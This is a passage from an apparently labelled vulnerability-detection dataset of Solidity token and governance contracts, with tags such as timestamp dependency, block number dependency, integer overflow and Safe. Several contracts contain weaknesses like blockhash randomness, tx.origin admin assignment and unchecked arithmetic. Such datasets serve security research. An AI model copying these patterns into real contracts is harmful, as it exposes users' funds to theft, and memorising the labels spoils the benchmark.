_pollID); } } pragma solidity^0.4.11; contract Parameterizer { event _ReparameterizationProposal(string name, uint value, bytes32 propID, uint deposit, uint appEndDate, address indexed proposer); event _NewChallenge(bytes32 indexed propID, uint challengeID, uint commitEndDate, uint revealEndDate, address indexed challenger); event _ProposalAccepted(bytes32 indexed propID, string name, uint value); event _ProposalExpired(bytes32 indexed propID); event _ChallengeSucceeded(bytes32 indexed propID, uint indexed challengeID, uint rewardPool, uint totalTokens); event _ChallengeFailed(bytes32 indexed propID, uint indexed challengeID, uint rewardPool, uint totalTokens); event _RewardClaimed(uint indexed challengeID, uint reward, address indexed voter); using SafeMath for uint; struct ParamProposal { uint appExpiry; uint challengeID; uint deposit; string name; address owner; uint processBy; uint value; } struct Challenge { uint rewardPool; address challenger; bool resolved; uint stake; uint winningTokens; mapping(address => bool) tokenClaims; } mapping(bytes32 => uint) public params; mapping(uint => Challenge) public challenges; mapping(bytes32 => ParamProposal) public proposals; EIP20Interface public token; PLCRVoting public voting; uint public PROCESSBY = 604800; function init( address _token, address _plcr, uint[] _parameters ) public { require(_token != 0 && address(token) == 0); require(_plcr != 0 && address(voting) == 0); token = EIP20Interface(_token); voting = PLCRVoting(_plcr); set(""minDeposit"", _parameters[0]); set(""pMinDeposit"", _parameters[1]); set(""applyStageLen"", _parameters[2]); set(""pApplyStageLen"", _parameters[3]); set(""commitStageLen"", _parameters[4]); set(""pCommitStageLen"", _parameters[5]); set(""revealStageLen"", _parameters[6]); set(""pRevealStageLen"", _parameters[7]); set(""dispensationPct"", _parameters[8]); set(""pDispensationPct"", _parameters[9]); set(""voteQuorum"", _parameters[10]); set(""pVoteQuorum"", _parameters[11]); } function proposeReparameterization(string _name, uint _value) public returns (bytes32) { uint deposit = get(""pMinDeposit""); bytes32 propID = keccak256(_name, _value); if (keccak256(_name) == keccak256(""dispensationPct"") || keccak256(_name) == keccak256(""pDispensationPct"")) { require(_value <= 100); } require(!propExists(propID)); require(get(_name) != _value); proposals[propID] = ParamProposal({ appExpiry: now.add(get(""pApplyStageLen"")), challengeID: 0, deposit: deposit, name: _name, owner: msg.sender, processBy: now.add(get(""pApplyStageLen"")) .add(get(""pCommitStageLen"")) .add(get(""pRevealStageLen"")) .add(PROCESSBY), value: _value }); require(token.transferFrom(msg.sender, this, deposit)); emit _ReparameterizationProposal(_name, _value, propID, deposit, proposals[propID].appExpiry, msg.sender); return propID; } function challengeReparameterization(bytes32 _propID) public returns (uint challengeID) { ParamProposal memory prop = proposals[_propID]; uint deposit = prop.deposit; require(propExists(_propID) && prop.challengeID == 0); uint pollID = voting.startPoll( get(""pVoteQuorum""), get(""pCommitStageLen""), get(""pRevealStageLen"") ); challenges[pollID] = Challenge({ challenger: msg.sender, rewardPool: SafeMath.sub(100, get(""pDispensationPct"")).mul(deposit).div(100), stake: deposit, resolved: false, winningTokens: 0 }); proposals[_propID].challengeID = pollID; require(token.transferFrom(msg.sender, this, deposit)); var (commitEndDate, revealEndDate,) = voting.pollMap(pollID); emit _NewChallenge(_propID, pollID, commitEndDate, revealEndDate, msg.sender); return pollID; } function processProposal(bytes32 _propID) public { ParamProposal storage prop = proposals[_propID]; address propOwner = prop.owner; uint propDeposit = prop.deposit; if (canBeSet(_propID)) { set(prop.name, prop.value); emit _ProposalAccepted(_propID, prop.name, prop.value); delete proposals[_propID]; require(token.transfer(propOwner, propDeposit)); } else if (challengeCanBeResolved(_propID)) { resolveChallenge(_propID); } else if (now > prop.processBy) { emit _ProposalExpired(_propID); delete proposals[_propID]; require(token.transfer(propOwner, propDeposit)); } else { revert(); } assert(get(""dispensationPct"") <= 100); assert(get(""pDispensationPct"") <= 100); now.add(get(""pApplyStageLen"")) .add(get(""pCommitStageLen"")) .add(get(""pRevealStageLen"")) .add(PROCESSBY); delete proposals[_propID]; } function claimReward(uint _challengeID, uint _salt) public { require(challenges[_challengeID].tokenClaims[msg.sender] == false); require(challenges[_challengeID].resolved == true); uint voterTokens = voting.getNumPassingTokens(msg.sender, _challengeID, _salt); uint reward = voterReward(msg.sender, _challengeID, _salt); challenges[_challengeID].winningTokens -= voterTokens; challenges[_challengeID].rewardPool -= reward; challenges[_challengeID].tokenClaims[msg.sender] = true; emit _RewardClaimed(_challengeID, reward, msg.sender); require(token.transfer(msg.sender, reward)); } function claimRewards(uint[] _challengeIDs, uint[] _salts) public { require(_challengeIDs.length == _salts.length); for (uint i = 0; i < _challengeIDs.length; i++) { claimReward(_challengeIDs[i], _salts[i]); } } function voterReward(address _voter, uint _challengeID, uint _salt) public view returns (uint) { uint winningTokens = challenges[_challengeID].winningTokens; uint rewardPool = challenges[_challengeID].rewardPool; uint voterTokens = voting.getNumPassingTokens(_voter, _challengeID, _salt); return (voterTokens * rewardPool) / winningTokens; } function canBeSet(bytes32 _propID) view public returns (bool) { ParamProposal memory prop = proposals[_propID]; return (now > prop.appExpiry && now < prop.processBy && prop.challengeID == 0); } function propExists(bytes32 _propID) view public returns (bool) { return proposals[_propID].processBy > 0; } function challengeCanBeResolved(bytes32 _propID) view public returns (bool) { ParamProposal memory prop = proposals[_propID]; Challenge memory challenge = challenges[prop.challengeID]; return (prop.challengeID > 0 && challenge.resolved == false && voting.pollEnded(prop.challengeID)); } function challengeWinnerReward(uint _challengeID) public view returns (uint) { if(voting.getTotalNumberOfTokensForWinningOption(_challengeID) == 0) { return 2 * challenges[_challengeID].stake; } return (2 * challenges[_challengeID].stake) - challenges[_challengeID].rewardPool; } function get(string _name) public view returns (uint value) { return params[keccak256(_name)]; } function tokenClaims(uint _challengeID, address _voter) public view returns (bool) { return challenges[_challengeID].tokenClaims[_voter]; } function resolveChallenge(bytes32 _propID) private { ParamProposal memory prop = proposals[_propID]; Challenge storage challenge = challenges[prop.challengeID]; uint reward = challengeWinnerReward(prop.challengeID); challenge.winningTokens = voting.getTotalNumberOfTokensForWinningOption(prop.challengeID); challenge.resolved = true; if (voting.isPassed(prop.challengeID)) { if(prop.processBy > now) { set(prop.name, prop.value); } emit _ChallengeFailed(_propID, prop.challengeID, challenge.rewardPool, challenge.winningTokens); require(token.transfer(prop.owner, reward)); } else { emit _ChallengeSucceeded(_propID, prop.challengeID, challenge.rewardPool, challenge.winningTokens); require(token.transfer(challenges[prop.challengeID].challenger, reward)); } } function set(string _name, uint _value) private { params[keccak256(_name)] = _value; } } pragma solidity ^0.4.19; contract ProxyFactory { event ProxyDeployed(address proxyAddress, address targetAddress); event ProxiesDeployed(address[] proxyAddresses, address targetAddress); function createManyProxies(uint256 _count, address _target, bytes _data) public { address[] memory proxyAddresses = new address[](_count); for (uint256 i = 0; i < _count; ++i) { proxyAddresses[i] = createProxyImpl(_target, _data); } ProxiesDeployed(proxyAddresses, _target); } function createProxy(address _target, bytes _data) public returns (address proxyContract) { proxyContract = createProxyImpl(_target, _data); ProxyDeployed(proxyContract, _target); } function createProxyImpl(address _target, bytes _data) internal returns (address proxyContract) { assembly { let contractCode := mload(0x40) mstore(add(contractCode, 0x0b), _target) mstore(sub(contractCode, 0x09), 0x000000000000000000603160008181600b9039f3600080808080368092803773) mstore(add(contractCode, 0x2b), 0x5af43d828181803e808314602f57f35bfd000000000000000000000000000000) proxyContract := create(0, contractCode, 60) if iszero(extcodesize(proxyContract)) { revert(0, 0) } let dataLength := mload(_data) if iszero(iszero(dataLength)) { if iszero(call(gas, proxyContract, 0, add(_data, 0x20), dataLength, 0, 0)) { revert(0, 0) } } } } } pragma solidity ^0.4.8; contract EIP20 is EIP20Interface { uint256 constant MAX_UINT256 = 2**256 - 1; string public name; uint8 public decimals; string public symbol; function EIP20( uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol ) public { balances[msg.sender] = _initialAmount; totalSupply = _initialAmount; name = _tokenName; decimals = _decimalUnits; symbol = _tokenSymbol; } function transfer(address _to, uint256 _value) public returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { uint256 allowance = allowed[_from][msg.sender]; require(balances[_from] >= _value && allowance >= _value); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) view public returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) view public returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract PLCRFactory { event newPLCR(address creator, EIP20 token, PLCRVoting plcr); ProxyFactory public proxyFactory; PLCRVoting public canonizedPLCR; constructor() { canonizedPLCR = new PLCRVoting(); proxyFactory = new ProxyFactory(); } function newPLCRBYOToken(EIP20 _token) public returns (PLCRVoting) { PLCRVoting plcr = PLCRVoting(proxyFactory.createProxy(canonizedPLCR, """")); plcr.init(_token); emit newPLCR(msg.sender, _token, plcr); return plcr; } function newPLCRWithToken( uint _supply, string _name, uint8 _decimals, string _symbol ) public returns (PLCRVoting) { EIP20 token = new EIP20(_supply, _name, _decimals, _symbol); token.transfer(msg.sender, _supply); PLCRVoting plcr = PLCRVoting(proxyFactory.createProxy(canonizedPLCR, """")); plcr.init(token); emit newPLCR(msg.sender, token, plcr); return plcr; } } contract ParameterizerFactory { event NewParameterizer(address creator, address token, address plcr, Parameterizer parameterizer); PLCRFactory public plcrFactory; ProxyFactory public proxyFactory; Parameterizer public canonizedParameterizer; constructor(PLCRFactory _plcrFactory) public { plcrFactory = _plcrFactory; proxyFactory = plcrFactory.proxyFactory(); canonizedParameterizer = new Parameterizer(); } function newParameterizerBYOToken( EIP20 _token, uint[] _parameters ) public returns (Parameterizer) { PLCRVoting plcr = plcrFactory.newPLCRBYOToken(_token); Parameterizer parameterizer = Parameterizer(proxyFactory.createProxy(canonizedParameterizer, """")); parameterizer.init( _token, plcr, _parameters ); emit NewParameterizer(msg.sender, _token, plcr, parameterizer); return parameterizer; } function newParameterizerWithToken( uint _supply, string _name, uint8 _decimals, string _symbol, uint[] _parameters ) public returns (Parameterizer) { PLCRVoting plcr = plcrFactory.newPLCRWithToken(_supply, _name, _decimals, _symbol); EIP20 token = EIP20(plcr.token()); token.transfer(msg.sender, _supply); Parameterizer parameterizer = Parameterizer(proxyFactory.createProxy(canonizedParameterizer, """")); parameterizer.init( token, plcr, _parameters ); emit NewParameterizer(msg.sender, token, plcr, parameterizer); return parameterizer; } }",./Dataset/timestamp dependency (TP)/,6,6 3945.sol,"pragma solidity ^0.4.23; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract KanadeCoin is StandardToken, Ownable { using SafeMath for uint256; struct VoteStruct { uint128 number; uint256 amount; address from; uint128 time; } struct QuestionStruct { uint8 isStarted; address recipient; uint128 finish; uint under; VoteStruct[] votes; } struct RandomBoxStruct { uint8 isStarted; address recipient; uint64 volume; uint256 amount; uint128 finish; } struct RandomItemStruct { mapping(bytes32 => uint256[]) values; } address public constant addrDevTeam = 0x4d85FCF252c02FA849258f16c5464aF529ebFA5F; address public constant addrLockUp = 0x0101010101010101010101010101010101010101; address public constant addrBounty = 0x3CCDb82F43EEF681A39AE854Be37ad1C40446F0d; address public constant addrDistribution = 0x9D6FB734a716306a9575E3ce971AB8839eDcEdF3; address public constant addrAirDrop = 0xD6A4ce07f18619Ec73f91CcDbefcCE53f048AE05; uint public constant atto = 100000000; uint public constant decimals = 8; string public constant name = ""KanadeCoin""; string public constant symbol = ""KNDC""; uint public contractStartTime; uint64 public constant lockupSeconds = 60 * 60 * 24 * 365 * 3; mapping(bytes32 => QuestionStruct) questions; mapping(address => string) saveData; mapping(bytes32 => RandomBoxStruct) randomBoxes; mapping(address => RandomItemStruct) randomItems; constructor() public { } function initializeContract() onlyOwner public { if (totalSupply_ != 0) return; contractStartTime = now; balances[addrDevTeam] = 10000000000 * 0.01 * atto; balances[addrLockUp] = 10000000000 * 0.09 * atto; balances[addrBounty] = 10000000000 * 0.25 * atto; balances[addrDistribution] = 10000000000 * 0.10 * atto; balances[addrAirDrop] = 10000000000 * 0.55 * atto; Transfer(0x0, addrDevTeam, balances[addrDevTeam]); Transfer(0x0, addrLockUp, balances[addrLockUp]); Transfer(0x0, addrBounty, balances[addrBounty]); Transfer(0x0, addrDistribution, balances[addrDistribution]); Transfer(0x0, addrAirDrop, balances[addrAirDrop]); totalSupply_ = 10000000000 * atto; } function unLockup() onlyOwner public { require(uint256(now).sub(lockupSeconds) > contractStartTime); uint _amount = balances[addrLockUp]; balances[addrLockUp] = balances[addrLockUp].sub(_amount); balances[addrDevTeam] = balances[addrDevTeam].add(_amount); Transfer(addrLockUp, addrDevTeam, _amount); } function createQuestion(string _id_max32, address _recipient, uint128 _finish, uint _under) public { bytes32 _idByte = keccak256(_id_max32); require(questions[_idByte].isStarted == 0); transfer(addrBounty, 5000 * atto); questions[_idByte].isStarted = 1; questions[_idByte].recipient = _recipient; questions[_idByte].finish = _finish; questions[_idByte].under = _under; } function getQuestion(string _id_max32) constant public returns (uint[4]) { bytes32 _idByte = keccak256(_id_max32); uint[4] values; values[0] = questions[_idByte].isStarted; values[1] = uint(questions[_idByte].recipient); values[2] = questions[_idByte].finish; values[3] = questions[_idByte].under; return values; } function vote(string _id_max32, uint128 _number, uint _amount) public { bytes32 _idByte = keccak256(_id_max32); require( questions[_idByte].isStarted == 1 && questions[_idByte].under <= _amount && questions[_idByte].finish >= uint128(now)); if (_amount > 0) { transfer(questions[_idByte].recipient, _amount); } questions[_idByte].votes.push(VoteStruct(_number, _amount, msg.sender, uint128(now))); } function getQuestionVotesAllCount(string _id_max32) constant public returns (uint) { return questions[keccak256(_id_max32)].votes.length; } function getQuestionVote(string _id_max32, uint _position) constant public returns (uint[4]) { bytes32 _idByte = keccak256(_id_max32); uint[4] values; values[0] = questions[_idByte].votes[_position].number; values[1] = questions[_idByte].votes[_position].amount; values[2] = uint(questions[_idByte].votes[_position].from); values[3] = questions[_idByte].votes[_position].time; return values; } function putSaveData(string _text) public { saveData[msg.sender] = _text; } function getSaveData(address _address) constant public returns (string) { return saveData[_address]; } function createRandomBox(string _id_max32, address _recipient, uint64 _volume, uint256 _amount, uint128 _finish) public { require(_volume > 0); bytes32 _idByte = keccak256(_id_max32); require(randomBoxes[_idByte].isStarted == 0); transfer(addrBounty, 5000 * atto); randomBoxes[_idByte].isStarted = 1; randomBoxes[_idByte].recipient = _recipient; randomBoxes[_idByte].volume = _volume; randomBoxes[_idByte].amount = _amount; randomBoxes[_idByte].finish = _finish; } function getRandomBox(string _id_max32) constant public returns (uint[5]) { bytes32 _idByte = keccak256(_id_max32); uint[5] values; values[0] = randomBoxes[_idByte].isStarted; values[1] = uint(randomBoxes[_idByte].recipient); values[2] = randomBoxes[_idByte].volume; values[3] = randomBoxes[_idByte].amount; values[4] = randomBoxes[_idByte].finish; return values; } function drawRandomItem(string _id_max32, uint _count) public { require(_count > 0 && _count <= 1000); bytes32 _idByte = keccak256(_id_max32); uint _totalAmount = randomBoxes[_idByte].amount.mul(_count); require( randomBoxes[_idByte].isStarted == 1 && randomBoxes[_idByte].finish >= uint128(now)); transfer(randomBoxes[_idByte].recipient, _totalAmount); for (uint i = 0; i < _count; i++) { uint randomVal = uint( keccak256(blockhash(block.number-1), randomItems[msg.sender].values[_idByte].length)) % randomBoxes[_idByte].volume; randomItems[msg.sender].values[_idByte].push(randomVal); } } function getRandomItems(address _addrss, string _id_max32) constant public returns (uint[]) { return randomItems[_addrss].values[keccak256(_id_max32)]; } function airDrop(address[] _recipients, uint[] _values) onlyOwner public returns (bool) { return distribute(addrAirDrop, _recipients, _values); } function rain(address[] _recipients, uint[] _values) public returns (bool) { return distribute(msg.sender, _recipients, _values); } function distribute(address _from, address[] _recipients, uint[] _values) internal returns (bool) { require(_recipients.length > 0 && _recipients.length == _values.length); uint total = 0; for(uint i = 0; i < _values.length; i++) { total = total.add(_values[i]); } require(total <= balances[_from]); for(uint j = 0; j < _recipients.length; j++) { balances[_recipients[j]] = balances[_recipients[j]].add(_values[j]); Transfer(_from, _recipients[j], _values[j]); } balances[_from] = balances[_from].sub(total); return true; } }",./Dataset/block number dependency (BN),0,0 0x04d8804f57d9f8e86f92f872eddef35086d78790_SKYST.sol,"pragma solidity ^0.4.16; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract SKYST is StandardToken { function () { throw; } /* Public variables of the token */ string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; function SKYST( ) { balances[msg.sender] = 10000000000000000000000000; totalSupply = 10000000000000000000000000; name = ""SKYSTAIRS""; decimals = 18; symbol = ""SKY""; } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",Safe,8,8 1236.sol,"pragma solidity ^0.4.18; contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Pausable is Ownable { event PausePublic(bool newState); event PauseOwnerAdmin(bool newState); bool public pausedPublic = false; bool public pausedOwnerAdmin = false; address public admin; modifier whenNotPaused() { if(pausedPublic) { if(!pausedOwnerAdmin) { require(msg.sender == admin || msg.sender == owner); } else { revert(); } } _; } function pause(bool newPausedPublic, bool newPausedOwnerAdmin) onlyOwner public { require(!(newPausedPublic == false && newPausedOwnerAdmin == true)); pausedPublic = newPausedPublic; pausedOwnerAdmin = newPausedOwnerAdmin; PausePublic(newPausedPublic); PauseOwnerAdmin(newPausedOwnerAdmin); } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract RtbRpay is PausableToken { string public constant name = ""RtbRpay""; string public constant symbol = ""Rpay""; uint8 public constant decimals = 18; modifier validDestination( address to ) { require(to != address(0x0)); require(to != address(this)); _; } function RtbRpay( address _admin, uint _totalTokenAmount ) { admin = _admin; totalSupply = _totalTokenAmount; balances[msg.sender] = _totalTokenAmount; Transfer(address(0x0), msg.sender, _totalTokenAmount); } function transfer(address _to, uint _value) validDestination(_to) returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) validDestination(_to) returns (bool) { return super.transferFrom(_from, _to, _value); } event Burn(address indexed _burner, uint _value); function burn(uint _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); Burn(msg.sender, _value); Transfer(msg.sender, address(0x0), _value); return true; } function burnFrom(address _from, uint256 _value) returns (bool) { assert( transferFrom( _from, msg.sender, _value ) ); return burn(_value); } function emergencyERC20Drain( ERC20 token, uint amount ) onlyOwner { token.transfer( owner, amount ); } event AdminTransferred(address indexed previousAdmin, address indexed newAdmin); function changeAdmin(address newAdmin) onlyOwner { AdminTransferred(admin, newAdmin); admin = newAdmin; } }",./Dataset/integer overflow (OF)/,4,4 1548.sol,"pragma solidity ^0.4.21; library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } } contract Token { function balanceOf(address _owner) public returns (uint256); function transfer(address to, uint256 tokens) public returns (bool); function transferFrom(address from, address to, uint256 tokens) public returns(bool); } contract TokenLiquidityMarket { using SafeMath for uint256; address public platform; address public admin; address public traded_token; uint256 public eth_seed_amount; uint256 public traded_token_seed_amount; uint256 public commission_ratio; uint256 public eth_balance; uint256 public traded_token_balance; bool public eth_is_seeded; bool public traded_token_is_seeded; bool public trading_deactivated; bool public admin_commission_activated; modifier only_admin() { require(msg.sender == admin); _; } modifier trading_activated() { require(trading_deactivated == false); _; } function TokenLiquidityMarket(address _traded_token,uint256 _eth_seed_amount, uint256 _traded_token_seed_amount, uint256 _commission_ratio) public { admin = tx.origin; platform = msg.sender; traded_token = _traded_token; eth_seed_amount = _eth_seed_amount; traded_token_seed_amount = _traded_token_seed_amount; commission_ratio = _commission_ratio; } function change_admin(address _newAdmin) public only_admin() { admin = _newAdmin; } function withdraw_arbitrary_token(address _token, uint256 _amount) public only_admin() { require(_token != traded_token); require(Token(_token).transfer(admin, _amount)); } function withdraw_excess_tokens() public only_admin() { uint256 queried_traded_token_balance_ = Token(traded_token).balanceOf(this); require(queried_traded_token_balance_ >= traded_token_balance); uint256 excess_ = queried_traded_token_balance_.sub(traded_token_balance); require(Token(traded_token).transfer(admin, excess_)); } function transfer_tokens_through_proxy_to_contract(address _from, address _to, uint256 _amount) private { traded_token_balance = traded_token_balance.add(_amount); require(Token(traded_token).transferFrom(_from,_to,_amount)); } function transfer_tokens_from_contract(address _to, uint256 _amount) private { traded_token_balance = traded_token_balance.sub(_amount); require(Token(traded_token).transfer(_to,_amount)); } function transfer_eth_to_contract() private { eth_balance = eth_balance.add(msg.value); } function transfer_eth_from_contract(address _to, uint256 _amount) private { eth_balance = eth_balance.sub(_amount); _to.transfer(_amount); } function deposit_token(uint256 _amount) private { transfer_tokens_through_proxy_to_contract(msg.sender, this, _amount); } function deposit_eth() private { transfer_eth_to_contract(); } function withdraw_token(uint256 _amount) public only_admin() { transfer_tokens_from_contract(admin, _amount); } function withdraw_eth(uint256 _amount) public only_admin() { transfer_eth_from_contract(admin, 